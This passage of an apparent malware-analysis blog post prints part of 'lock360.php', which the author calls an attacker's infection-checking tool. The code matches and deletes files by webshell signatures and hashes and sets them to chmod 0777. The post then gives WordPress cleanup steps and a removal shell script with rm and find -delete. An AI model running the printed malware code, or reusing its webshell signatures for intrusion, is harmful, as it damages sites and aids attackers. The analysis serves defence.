$feature = array(
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+?ht,0444[^}]+}[^}]+}'),
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+(?=function wp_schedule_event)'),
array("check" => '$bkindex', "preg"=>'if\(function_exists\(\'sys_get_temp_dir.+(?=function wp_schedule_event)'),
array("check" => '$bkidex', "preg"=>'\$inxdex = \$_S.+\'292\'\); } }'),
array("check" => '//ckIIend', "preg"=>'\/\/ckIIbg.+?\/\/ckIIend'),
array("check" => '//ckIIbg', "preg"=>'\/\/ckIIbg.+?nowIndexFile,0555.+?}.+?}'),
array("check" => '$ruzhu_php_jm', "preg"=>'\$do.+?ruzhu_php_jm.+?2018-09-10 20:28:01"\);}'),
array("check"=>'scp-173', "preg"=>'<\?php.+?scp-173\?>'),
//array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'\$ZdJ=.+?Qj=="\);'),
array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'<\?php error_reporting\(0\);.+?\?>'),
array("check"=> '\x34\x35\x34\x33\x63\x68\x64\x69\x72\x65\x78\x65\x63\x70\x68\x70\x70\x73', "preg"=> '<\?php error_reporting.+?\);}'),
array("check"=> 'PCFET0NUWVBFIEhUTUwgUFVCTE', "preg"=> '<\?php.+?PCFET0NUWVBFIEhUTUwgUFVCTE.+?>'),
array("check"=> 'file_get_contents($index_path)', "preg"=> '<\?php.+?file_put_contents\(\$index_path, \$index_hide\).+?>'),
array("check"=> 'open_cache_ruzhu_phpcode', "preg"=> 'error_reporting[^}]+?open_cache_ruzhu_phpcode.+?huan_yuan_htaccess.+?}'),
array("check"=>'@include "\\', "preg"=>'@include.+?;'),
array("check"=>'global $O', "preg"=>'<\?php @header\(.+\$O\[[0-9]{1,2}\]\);} \?>'),
array("check"=>'/* Custom write log to ensure the operation of the website */', "preg"=>'\/\* Custom write log to ensure the operation of the website \*\/.+\$shut\[1\]\(\);'),
array("check"=>'function_exists(\'copy\')', "preg"=>'if\(function_exists\(\'copy\'\)\){[^}]+}'),
array("check"=>'$get_size_of_file', "preg"=>'\$get_size_of_file.+?call_user_func.+?;}}'),
array("check"=>'/* index-configs */', "preg"=>'<\?php \/\* index-configs \*\/.+eval.+\?>'),
array("check"=>'$ihx .= "define', "preg"=>'\$i = .+?\$ihx \.=.+?}.+?}'),
array("check"=> '@include base64_decode("', "preg" => '@include base64_decode\("[^"]+"\);')
//array("check"=>'include "', "preg"=>'include ["\'][^\']+?[^.php]["\'];'),
);
foreach ($feature as $item) {
$decode_item = $item['check'];
if (strpos($content, $decode_item) !== false){
//$content = file_get_contents($real_dir);
$old_length = strlen($content);
$content = preg_replace('/' .$item['preg'].'/si', "", $content);
@chmod($real_dir, 0777);
$new = @file_put_contents($real_dir, $content);
$hide_code = array(
'path' => $real_dir,
'feature' => $item['check'],
'old_length' => $old_length,
'new_length' => strlen($content),
'written_length' => $new
);
$info['hide_code'][] = $hide_code;
}
}
}
function deleteTrojan($real_dir, $content, $size, &$info){
$content_md5 = md5($content);
$feature = array("3ed2bcd9af3a8a4cc6a2d64c0e29323a","4500d7207ae89f588ae6bb46dc4cfc4c",'e95257e2f87a5324faa741d7bd256d10','380fa777b8c37fb60811e5972391261b','af92294c9e7d5f25ca0f7ec2371a830d','656fd2931ced4e62f2b73b065c1cb834','a9939c9ec3f1c09aba4a9c031b69d5b1','e72a4bad8eeb37181a5ac116073a0f2f','565ae477a280cb823d049e0e99c069b9','f2820d0981f75a2dae76e1ef4d628fe3','f66c24dd3c20ae8d4c2e71b27d4a3a2c','6bcb1a0971168190045636f83c490226','7c20feb7139226fbbbaa6d962adf5a75', '0c76ba322ca7009f0a155fce8dbbd9e0', 'e23b765107d824560a1edbb9e98f7ad7', '00c121a6f126196a2f159aaacb59a94d', '4056a2010da76111934c397f989bc1bc', 'fe8363339acbf327271cd5dc6843098b', 'b263f5b0dfcce9774f6e70f0932afcf2', 'cdf89ad3c74d0d6f4ce88eaa578440e8', '0152b6b8bc439e5cc3f8fde49952e470','1e499ce31b1879197b746d50aa21901e','82e89c090162303f2b95f0b916c2e1e6','1970fbfd414373d0c98ab147b9cb2022','c530b3e97a4642da2eab74d9b4f2d61c','2f1c426b9c3e4b01427bdc69262ee8de','bcec677bac0083b7c4a0849ccaa0f711', '8827c82e802c7d4df006148fd14e9ebc','363f04ba317bed872f62d2d9e6fdae19','5db85c130f31f2cb623d5a285997a704','b857f22b00098f85aa4d77acd58df73c','770616aff8677a033e946f6f01eb6ba3',
'112fc0af846dc2f6664f1a68f6f53594','893e4dde777558cc5fec4276c5a94dc0','d39ac622537d80caf7cb630899250e00','dacc0f895428822979bda234f4f15bfe','8dec392ede6ffafe434b401cf8e59cee','1a09efdc2d5a1f8b31132238651df3fb','a55395546859b922c4b7808b959043c0','aba3d13150cba65a25a974f6f66e25a4','4f6ca51ca0eba1c4ec9dab8f7fbfa87d','2240b1ed64d66a77d365934b42303ae9','bc747ff54ee849a60d2eb86208796115','b69bf8f5901d6be8fa239591fe752f39','ab3ab227167426b00efe41924ff86190','89d91ddee6f715acba63dc9e03e86de0','f67cf7731c19a10d0549419cef9619f0'
);
$feature_for_contain = array(
'"bas"."e64_d"."ecode"',
"'base64','_deco','de'",
'"ba" . "se6" . "4"',
"'helloword','create_','hellowordfunction'",
'I could not have a more welcome visitor 64 group of zain bani',
'_=\'Loading Class/Code NAME\'',
'PHP Encode v1.0 by zeura.com',
'get1_str($str1)',
'$_GET[\'ername\']',
'isset($_POST[\'f_p\'])',
'cb508614978e98198cb3d9c89d0fc47f'
);
foreach ($feature as $item) {
if ($content_md5 == $item)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0
);
}
$info['trojan'][] = $trojan;
}
}
foreach ($feature_for_contain as $item) {
if (strpos($content, $item) !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $item
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $item
);
}
$info['trojan'][] = $trojan;
}
}
$result = other($size, $content, $real_dir);
if($result != '')
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1,
'feature' => $result
);
} else {
$trojan = array(
'path' => $real_dir,
'status' => 0,
'feature' => $result
);
}
$info['trojan'][] = $trojan;
}
}
function checkSize($fileSize, $checkSize){
$status = false;
if(abs($fileSize - $checkSize) < 250){
$status = true;
}
return $status;
}
function other1($size, $txt, $realDir){
if(strstr($txt,'null;@eval(') && strstr($txt,'};$')){
return 'other1';
}
if(strstr($txt, 'get_str') && strstr($txt, 'str_rot13') && strstr($txt, '@eval(')){
return 'other2';
}
if(strstr($txt, 'ignore_user_abort') && strstr($txt, "@include(pack(")){
return 'other3';
}
if(strstr($txt, 'base64_decode') && strstr($txt, "@chmod") && strstr($txt, '=="') && !strstr($txt, 'cpa_ind5.php')){
return 'other4';
}
if(strstr($txt, 'gzuncompress(strrev(') && strstr($txt, "create_function") && checkSize($size, 22534)){
return 'other5';
}
if(strstr($txt, 'cdn.jsdelivr.net') && strstr($txt, "sweetalert.min.js") && checkSize($size, 13695)){
return 'other6';
}
if(strstr($txt, ')return') && strstr($txt, "}else{function")){
return 'other7';
}
if(strstr($txt, 'class_uc_key') && strstr($txt, "hexdec") && checkSize($size, 60048)){
return 'other8';
}
if(strstr($txt, 'require(@$') && strstr($txt, "error_reporting(0);") && strstr($txt, "set_time_limit(0);")){
return 'other9';
}
if(strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'md5(') && strstr($txt, '@setcookie') && strstr($txt, 'create_function')){
return 'other10';
}
return '';
}
function other2($size, $txt, $realDir){
if(strstr($txt, ';@include(') && strstr($txt, '$_post') && strstr($txt, '$_cookie') && strstr($txt, 'return @$')){
return 'other11';
}
if(strstr($txt, "getcwd") && strstr($txt, 'file_exists') && strstr($txt, '@chdir') && strstr($txt, '@scandir')){
return 'other12';
}
if(strstr($txt, '.chr(') && strstr($txt, "@include(") && strstr($txt, "chr(ord($")){
return 'other13';
}
if(strstr($txt, 'register_key') && strstr($txt, "kaylin") && checkSize($size, 86523)){
return 'other14';
}
if((strstr($txt, "base64_decode") || strstr($txt, 'error_reporting')) && strstr($txt, '"display_errors"') && strstr($txt, 'function_exists')){
return 'other15';
}
if(strstr($txt, "base64_decode") && strstr($txt, 'fwrite') && strstr($txt, '.php?pass=')){
return 'other16';
}
if(strstr($txt, '$_server["\x') && strstr($txt, "serialize")){
return 'other17';
}
if(strstr($txt, 'parse_str') && strstr($txt, "<?=") && !strstr($txt, 'highlighter')){
return 'other18';
}
if(strstr($txt, 'eval(') && strstr($txt, "foxauto")){
return 'other19';
}
if(strstr($txt, 'eval(') && strstr($txt, 'rawurldecode(') && strstr($txt, 'function%20')){
return 'other20';
}
return '';
}
function other3($size, $txt, $realDir)
{
if(strstr($txt, '$g($b($c))') && strstr($txt, "_dec") && checkSize($size, 7563)){
return 'other21';
}
if(strstr($txt, '$_post[') && strstr($txt, "eval(") && strstr($txt, ";@$") && checkSize($size, 453)){
return 'other22';
}
if(strstr($txt, 'filemtime') && strstr($txt, "preg_match('#<") && checkSize($size, 21596)){
return 'other23';
}
if(strstr($txt, 'parse_str') && strstr($txt, "eval") && strstr($txt, "'1=%'")){
return 'other24';
}
if(strstr($txt, 'php_uname') && strstr($txt, "move_uploaded_file") && checkSize($size, 1133)){
return 'other25';
}
if(strstr($txt, 'dehex(') && strstr($txt, "/etc/named.conf") && strstr($txt, '$_files["uploadfile"]')){
return 'other26';
}
if(strstr($txt, '?><?php') && strstr($txt, ");$") && strstr($txt, "'}'")){
return 'other27';
}
if(strstr($txt, 'function_exists') && strstr($txt, ");@$") && strstr($txt, '.="\x')){
return 'other28';
}
if(strstr($txt, '"\1') && strstr($txt, "gettype") && (strstr($txt, ";@$") || strstr($txt, "count"))){
return 'other29';
}
if(strstr($txt, "return 'other'.$") && strstr($txt, '},$') && strstr($txt, '});$')){
return 'other30';
}
return '';
}
function other4($size, $txt, $realDir)
{
if(strstr($txt, '"\r\n"') && strstr($txt, '= @$') && strstr($txt, 'new ') && strstr($txt, 'chr($')){
return 'other31';
}
if(strstr($txt, 'index.php') && strstr($txt, '@file_put_contents') && strstr($txt, 'xiaoxiannv')){
return 'other32';
}
if(strstr($txt, ';@$') && strstr($txt, ")].$") && strstr($txt, "(('')")){
return 'other33';
}
if(strstr($txt, ']];$') && strstr($txt, "base64_decode") && strstr($txt, "mktime")){
return 'other34';
}
if((strstr($txt, '_files') || strstr($txt, 'base64_decode')) && strstr($txt, '_get') && (strstr($txt, "error_reporting") || strstr($txt, "ignore_user_abort") || strstr($txt, "fm_convert_win")) && strstr($txt, 'set_time_limit') && !strstr($realDir, '.min.js') && !strstr($txt, 'updraftplus') && !strstr($txt, 'EASYPOPULATE_CONFIG')){
return 'other35';
}
if(strstr($txt, '$_post') && (strstr($txt, 'file_put_contents') || strstr($txt, "fopen")) && strstr($txt, 'error_') && strstr($txt, 'script') && strstr($txt, '_files') && (strstr($txt, 'opendir') || strstr($txt, 'scandir')) && strstr($txt, 'chmod') && strstr($txt, 'filesize') && strstr($txt, 'ini_') && strstr($txt, 'exec(')){
return 'other36';
}
if(strstr($txt, 'php_uname') && strstr($txt, "mail(") && strstr($txt, "json_encode") && strstr($txt, '$_get') && strstr($txt, 'curl_exec')){
return 'other37';
}
if(strstr($txt, "eval('?>'.$") && !strstr($txt, 'mustache')){
return 'other38';
}
if(strstr($txt, 'eval(') && (strstr($txt, "base64_decode(") || strstr($txt, '\x6') || strstr($txt, 'openssl_decrypt'))){
return 'other39';
}
if(strstr($txt, 'multipart') && strstr($txt, 'type="file"') && (strstr($txt, 'if(@copy') || strstr($txt, '@fopen'))){
return 'other40';
}
return '';
}
function other5($size, $txt, $realDir)
{
if((strstr($txt, 'base64_decode') || strstr($txt, '@shmop_open')) && strstr($txt, '$_files') && strstr($txt, '@copy') && !strstr($txt, 'wp_handle_upload_error')){
return 'other41';
}
if(strstr($txt, 'goto') && strstr($txt, ": function") && strstr($txt, ": eval(")){
return 'other42';
}
if(strpos($txt, 'F-Automatical') && strpos($txt, '$_POST[\'email\']') && strpos($txt, 'Send an report to'))
{
return 'other43';
}
if(strpos($txt, 'goto ') && strpos($txt, 'base64_decode') && strpos($txt, 'symlink'))
{
return 'other44';
}
if(preg_match("/(chr\([0-9]{1,3}\)\.){5}/si", $txt))
{
return 'other45';
}
if(preg_match_all("/\([0-9]{5}-[0-9]{5}\)/si", $txt, $matches) > 5)
{
return 'other46';
}
if(strpos($txt, '\'log_errors\'') && strpos($txt, '\'error_log\'') && strpos($txt, '\'error_reporting\''))
{
return 'other47';
}
if(strpos($txt, 'range(chr(126),chr(20));'))
{
return 'other48';
}
if (strpos($txt, '$_POST[\'cmd\'] == "get_file_data"') && strpos($txt, '$_POST[\'cmd\'] == "get_files"') && strpos($txt, '$_POST[\'cmd\'] == "shell_exec"'))
{
return 'other49';
}
if((strpos($txt, "PD9waH") || strpos($txt, "Ym90Ym90Ym90")) && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other50';
}
return '';
}
function other6($size, $txt, $realDir)
{
if(strpos($txt, "htaccess_rul") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other51';
}
if(strpos($txt, "%21mod%5B%7C%22D%") && strpos($txt, "gzinflate(base64_decode") && strpos($txt, "curl_exec") )
{
return 'other52';
}
if(strpos($txt, "WaomRuw") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other53';
}
if(preg_match("/goto [a-zA-Z0-9]{5};/si", $txt))
{
return 'other54';
}
if(preg_match('/@unlink\(\$[0oO]+\);/si', $txt))
{
return 'other55';
}
if(strpos($txt, 'eval("\"$A\"");') && strpos($txt, '_POST[911]'))
{
return 'other56';
}
if(strpos($txt, '199093f0455d6e79bb8e4bbe1ae1b86d') && strpos($txt, 'HTTP_USER_AGENT'))
{
return 'other57';
}
if(preg_match('/function [a-z][0-9]\(\$[a-z][0-9], \$[a-z][0-9]{2}\){return @\$[a-z][0-9][[0-9]+]\(\$[a-z][0-9][[0-9]+], \$[a-z][0-9]{2}\);}/si', $txt))
{
return 'other58';
}
if(strpos($txt, "Create_Function") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other59';
}
if(preg_match('/goto [a-zA-Z]{2};/si', $txt))
{
preg_match_all('/goto [a-zA-Z]{2};/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other60';
}
}
return '';
}
function other7($size, $txt, $realDir)
{
if(strpos($txt, "eval") && strpos($txt, "hex2bin") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other61';
}
if(strpos($txt, "https://glot.io/snippets") || strpos($txt, "https://glot.io/static"))
{
return 'other62';
}
if(strpos($txt, '$pwd=base64_encode($pwd)') && strpos($txt, "eval") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other63';
}
if(preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
preg_match_all('/\([0-9]{1,3}[-+*\/][0-9]{1,3}\)/si', $txt, $matches);
if(count($matches[0]) > 5){
return 'other64';
}
}
if(strpos($txt, 'Upload $i Files Successfully!') && strpos($txt, "Create Folder Successfully!") && strpos($txt, "Create File Successfully!"))
{
return 'other65';
}
if(strpos($txt, 'empty($_POST[\'email\'])') && strpos($txt, 'Result Report Test -
".$xx,"WORKING !"') && strpos($txt, "send an report"))
{
return 'other65';
}
if(strpos($txt, "loggedIn") && strpos($txt, "EVAL") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other66';
}
if(strpos($txt, 'eval') && strpos($txt, '$_SESSION[$payloadName]') && strpos($txt, "php://input"))
{
return 'other67';
}
if(strpos($txt, "@create_function") && strpos($txt, "base64_decode") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other68';
}
if(strpos($txt, "\$_COOKIE['f_pp']") && strpos($txt, "\$_POST['f_pp']") && preg_match("/[0-9a-zA-Z\/+]{200,}/si", $txt))
{
return 'other69';
}
if(strpos($txt, "shell519") && strpos($txt, '$shell_content3') && strpos($txt, "read_dir_queue1"))
{
return 'other70';
}
return '';
}
function other8($size, $txt, $realDir)
{
if(strpos($txt, "unlink('.hindexcontent');") && strpos($txt, "wp-content/plugins/akismet") && strpos($txt, "'wp-content/themes"))
{
return 'other71';
}
if(strpos($txt, "bjRficAiyoSn") && strpos($txt, "unlink") && strpos($txt, '$f('))
{
return 'other72';
}
if(strpos($txt, "https://hastebin.com/raw/") && strpos($txt, "/999MD999.html") && strpos($txt, '$_FILES'))
{
return 'other73';
}
if(strpos($txt, "Shell Bypass 403") && strpos($txt, "unlink(\$_GET['delete']"))
{
return 'other74';
}
if(strpos($txt, "is_cli()") && strpos($txt, "disable_functions") && strpos($txt, "ini_get"))
{
return 'other75';
}
if(strpos($txt, "\$pp6 = Array()") && strpos($txt, "se1(\$we2)") && strpos($txt, "ir7(\$pp6"))
{
return 'other76';
}
if(strpos($txt, "<!-- GIF89;a -->") && strpos($txt, "\$lokasinya") && strpos($txt, "\$_GET['pilihan']"))
{
return 'other77';
}
if(strpos($txt, "\$GNJ[]") && strpos($txt, "\$GNJ[33]") && strpos($txt, "(uhex("))
{
return 'other78';
}
if(strpos($txt, "smisbot()") && strpos($txt, "\$Prefix") && strpos($txt, "@ignore_user_abort"))
{
return 'other79';
}
if(strpos($txt, "goto VZ") && strpos($txt, "\$_FILES[\"f\"]") && strpos($txt, "http_response_code"))
{
return 'other80';
}
return '';
}
function other9($size, $txt, $realDir)
{
if(strpos($txt, "@set_time_limit(0);") && strpos($txt, "\$_FILES[") && strpos($txt, "\$perms & 0x0100"))
{
return 'other81';
}
if(strpos($txt, "die;") && strpos($txt, "4@MTP*") && strpos($txt, "curl_setopt"))
{
return 'other82';
}
preg_match_all('/\/\*([^*]{5,10})\*\//si', $txt, $matches, PREG_PATTERN_ORDER);
if($matches)
{
if(count($matches[0]) > 10 )
{
return 'other83';
}
}
return '';
}
function other($size, $txt, $realDir)
{
for ($i=1; $i<10; $i++)
{
$f = 'other' . $i;
$result = $f($size, $txt, $realDir);
if($result != '')
{
return $result;
}
}
return '';
}
function pass($real_dir, $content, &$info)
{
$feature = '';
if (strpos($content, '7c703c76d1a6d63383a19e3a4d6f7895'))
{
$feature = 'own1';
};
if (strpos($content, '$L7CRgr'))
{
$feature = 'own2';
}
if (strpos($content, '$cAT3VWynuiL7CRgr'))
{
$feature = 'own3';
}
if (strpos($content, 'api=%s&ac=%s&path=%s&t=%s'))
{
$feature = 'own4';
}
if (strpos($content, '"PD9waHA="'))
{
$feature = 'own5';
}
if ($feature != '')
{
$pass = array(
'path' => $real_dir,
'status' => 0,
'feature' => $feature
);
$info['pass'][] = $pass;
return true;
}
return false;
}
$info = array(
'file_count' => 0,
'hide_count' => 0,
'trojan_count' => 0,
'pass_count' => 0,
'hide_code' => array(),
'trojan' => array(),
'pass' => array(),
);
$path = "/home4/<redacted>/public_html/<redacted>.com";
if($path == "")
{
searchDirs(dirname(__FILE__) . "/", $info);
} else {
searchDirs($path, $info);
}
$info['hide_count'] = count($info['hide_code']);
$info['trojan_count'] = count($info['trojan']);
$info['pass_count'] = count($info['pass']);
if(function_exists('json_encode'))
{
i(json_encode($info, JSON_PRETTY_PRINT));
}else {
echo '{->|';
print_r($info);
echo '|<-}';
}
view raw lock360.php hosted with ❤ by GitHub

This file serves as a way for the attacker to check what stage of infection a particular host is in using several regular expressions that check for different pieces of text or code that might exist in various files. There are also functions in the file that let the attacker send a request to clean up the infection and remove any existing malicious files.

Removal

Here are some things you can try to remove this malware from your site. If you’ve tried these things and are still having trouble, feel free to email or DM me and we can look at it together.

  1. Create a zip file backup of your entire /var/www directory, download it just in case something goes wrong.

  2. SSH into your server and check for any cronjob’s that might be running by typing crontab -e. If you see anything in the crontab that looks like it’s pointing to a file that is malicious (this could be a PHP file, a shell script, calls out to a C2 server through Curl, etc.), comment it out, and refresh the cron service by running /etc/init.d/cron restart or service cron restart.

  3. SSH into your server and check for any running processes that are using PHP or Apache that look malicious by running something like ps aux | grep php or ps aux | grep sh. You can also run ps aux without the grep to see all your processes, and you can run top to see the processes that are using the most CPU in real time. If you see that there are any running processes that are pointing to any specific PHP files, shell scripts, or anything that looks malicious, kill the processes by typing kill -9 <process id> and then look for the file path of whatever the cronjob or process is pointing at and delete it. Make sure that you’re certain that whatever file or script it’s pointing at looks malicious. Wait 10-60 min and run the commands again to see if there’s something else that’s running in the background that keeps spawning them.

  4. Once you’re sure that there are no processes or cronjob’s that could be running on your server, you can start to repair the actual site. The first thing you should do is download a fresh copy of Wordpress, take the wp-admin folder and replace it with your current wp-admin folder.

  5. Download a fresh copy of Wordpress for the version that you have, take the wp-admin folder and replace your current wp-admin with the newly downloaded one.

  6. Temporarily deactivate all of your plugins by going into the file manager or SSH and renaming all of the plugin folders to <plugin folder name>.bak/. Don’t deactivate them through the Wordpress admin panel, simply renaming the folders will automatically deactivate them for you.

  7. This malware writes malicious .htaccess files at almost every directory level. Using SSH, cd into your web root (usually at cd /var/www/ or cd /var/www/public_html/) and find all of the .htaccess files using find . -type f -name ".htaccess", delete all of the ones that shouldn’t be there and then replace the .htaccess in the Wordpress root with a fresh one from the Wordpress download in step 3.

  8. This last step is going to be a fairly interactive one as this malware really sinks its teeth into several different files. Copy the entropy.sh script mentioned above in the article into your web root, give it the correct permissions by running chmod a+x ./entropy.sh and execute it using ./entropy.sh. As explained above, this will go through all files in your web root and find the files that have the most entropy, i.e. code obfuscation. The results are saved in a newly created file called entropy.txt with the most obfuscated files at the top. Look at all of the files near the top, and either a) confirm that they are files not needed by Wordpress and can be completely deleted (i.e. radio.php, lock360.php, any malicious files that may have been specified in the malicious .htaccess files, etc.) or b) if it’s a file required by Wordpress and has been infected by prepending or appending malicious code to it, you can use a script like the following to identify bits of text that appear in these files, and then use grep to remove them:

echo "Removing malicious references: yygpKyqbDRBS1wcA"
for entry in $(find . -type f -name "index.php"); do
    if grep -q "yygpKyqbDRBS1wcA" <<< $(cat $entry); then
        echo "Found malicious code at: $entry"
        grep -va "yygpKyqbDRBS1wcA" $entry > $entry.tmp && mv -f $entry.tmp $entry
    fi
done

If you feel like you’ve identified all of the malicious files, you may feel that it’s safer if you go into each infected required Wordpress file and delete the malicious code manually.

  1. Go into your cPanel or SSH into your server and check the raw access logs from Apache. You’ll often find that there will be C2 traffic coming from some IP address and making requests on one or many of the malicious files. However, with these files now removed, you should see the calls starting to 404. If you check the traffic and find that there are still C2 communications that are going to a specific file path, double check to see if it’s an infected Wordpress file or a newly created file and either delete it or run the removal commands from above.

I’ve put a shell script together with a bunch of commands that I personally used to clean this malware up. You may not have the same kind of obfuscation or identifiers that I had, so make sure that when you run the script for the first time, you comment out any of the actual file replacement code like the grep -va commands.

echo "Renaming all plugins to temporarily disable them"
for d in ./wp-content/plugins/*; do
if [ -d "$d" ]; then
mv -- "$d" "${d}_bak"
fi
done
echo "Removing radio.php and fox.php malware files"
find . -type f -name "radio.php" -delete
find . -type f -name "fox.php" -delete
# get rid of .htaccess malware modifications
# no indentation because space needs to be preserved
# for correct match
echo "Checking all .htaccess files for malicious code and parsing it out if found"
for entry in $(find . -type f -name ".htaccess"); do
grep -ve '<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "
Order allow,deny
Allow from all
</FilesMatch>' $entry > $entry.tmp && mv -f $entry.tmp $entry
done
# find any reference to yygpKyqbDRBS1wcA and remove the code that references it, save the leftover to a new file
echo "Removing malicious references: yygpKyqbDRBS1wcA"
for entry in $(find . -type f -name "index.php"); do
if grep -q "yygpKyqbDRBS1wcA" <<< $(cat $entry); then
echo "Found malicious code at: $entry"
grep -va "yygpKyqbDRBS1wcA" $entry > $entry.tmp && mv -f $entry.tmp $entry
fi
done
# same as above, but a different malware string
echo "Removing malicious references: O_0_O_OO00"
for entry in $(find . -type f -name "index.php"); do
if grep -q "O_0_O_OO00" <<< $(cat $entry); then
echo "Found malicious code at: $entry"
grep -va "O_0_O_OO00" $entry > $entry.tmp && mv -f $entry.tmp $entry
fi
done
# same as above, but a different malware string
echo "Removing malicious references: KgO0nNK9EtqSxItUosK"
for entry in $(find . -type f -name "index.php"); do
if grep -q "KgO0nNK9EtqSxItUosK" <<< $(cat $entry); then
echo "Found malicious code at: $entry"
grep -va "KgO0nNK9EtqSxItUosK" $entry > $entry.tmp && mv -f $entry.tmp $entry
fi
done
# same as above, but a different malware string, however
# this time we want to remove the file all together if it's
# a non-index.php file. And if it is an index, we'll just
# remove the malicious code
echo "Removing malicious references: pqJf8tE3hI91PG7jjqev9dQmruSc"
for entry in $(find . -type f -name "*.php"); do
if grep -q "pqJf8tE3hI91PG7jjqev9dQmruSc" <<< $(cat $entry); then
cp $entry $entry.tmp.cleanup # backup files before making changes
if grep -q "$entry" <<< "index.php"; then
echo "Found malicious index.php file, going to parse out malicious code at: $entry"
grep -va "pqJf8tE3hI91PG7jjqev9dQmruSc" $entry > $entry.tmp && mv -f $entry.tmp $entry
else
echo "Found malicious non-index file at $entry. Removing..."
rm -rf $entry
fi
fi
done
# for good measure
echo "Another pass at removing radio.php and fox.php in case they were re-added while script was running"
find . -type f -name "radio.php" -delete
find . -type f -name "fox.php" -delete
# find . -type f -name "*.tmp.cleanup" -delete
# cleanup
# for entry in $(find . -type f -name "index.php"); do
# if grep -zP "\<\?php\r\n\?\>" $entry; then
# echo "Found code that needs to be cleaned up at: $entry"
# # grep -zP -v "\<\?php\r\n\?\>" $entry > $entry.tmp && mv -f $entry.tmp $entry
# fi
# done

If you run through all of this and are still finding that your files are becoming infected, go back, check your processes, logs, etc. and iterate through the steps above until you identify and remove all of them.

If you’re still having trouble, feel free to reach out.